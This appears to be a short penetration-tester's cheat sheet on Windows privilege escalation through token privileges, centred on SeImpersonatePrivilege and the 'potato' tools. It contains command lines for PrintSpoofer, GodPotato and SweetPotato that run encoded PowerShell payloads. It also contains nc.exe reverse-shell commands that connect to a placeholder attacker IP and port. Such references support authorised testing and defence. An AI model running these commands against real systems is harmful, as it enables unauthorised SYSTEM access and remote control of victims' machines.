Windows privilege escalation
Review access tokens that lead to privilege escalation and abuse SeImpersonatePrivilege with potato tools.
The following token privileges can contribute to escalation. Presence alone does not guarantee it: check whether the privilege is enabled, the local configuration and the requirements of the selected technique.
- SeImpersonatePrivilege
- SeAssignPrimaryPrivilege
- SeTcbPrivilege
- SeBackupPrivilege
- SeRestorePrivilege
- SeCreateTokenPrivilege
- SeLoadDriverPrivilege
- SeTakeOwnershipPrivilege
- SeDebugPrivilege
Resources:
SeImpersonatePrivilege
These tools target specific impersonation paths. OS version, service state and token context determine applicability.
PrintSpoofer
.\printspoofer.exe -i -c "powershell -noP -sta -w 1 -enc <payload>"Github: https://github.com/itm4n/PrintSpoofer
GodPotato
GodPotato is one of the “potatoes” that abuse this privilege. Its value is that it combines the techniques of several others (RottenPotato, JuicyPotato, etc.).
.\GodPotato-NET4.exe -cmd "powershell -e <payload>"
.\GodPotato-NET4.exe -cmd "c:\Windows\Temp\nc.exe -t -e C:\Windows\System32\cmd.exe $ATTACKER_IP $ATTACKER_PORT"Another alternative worth watching: https://github.com/lypd0/DeadPotato/
SweetPotato
.\SweetPotato.exe -p C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -a "c:\Windows\Temp\nc.exe -t -e C:\Windows\System32\cmd.exe $ATTACKER_IP $ATTACKER_PORT"Provenance and confidence
- Version
- 2
- Sources reviewed
- 2026-11-23
- Confidence
- medium — Legacy RTFM; v2 editorial review on 2026-11-23 distinguishes token privileges from guaranteed escalation and qualifies tool prerequisites. Legacy commands remain untested.
Also searched as: élévation de privilèges, tokens windows, seimpersonate, patates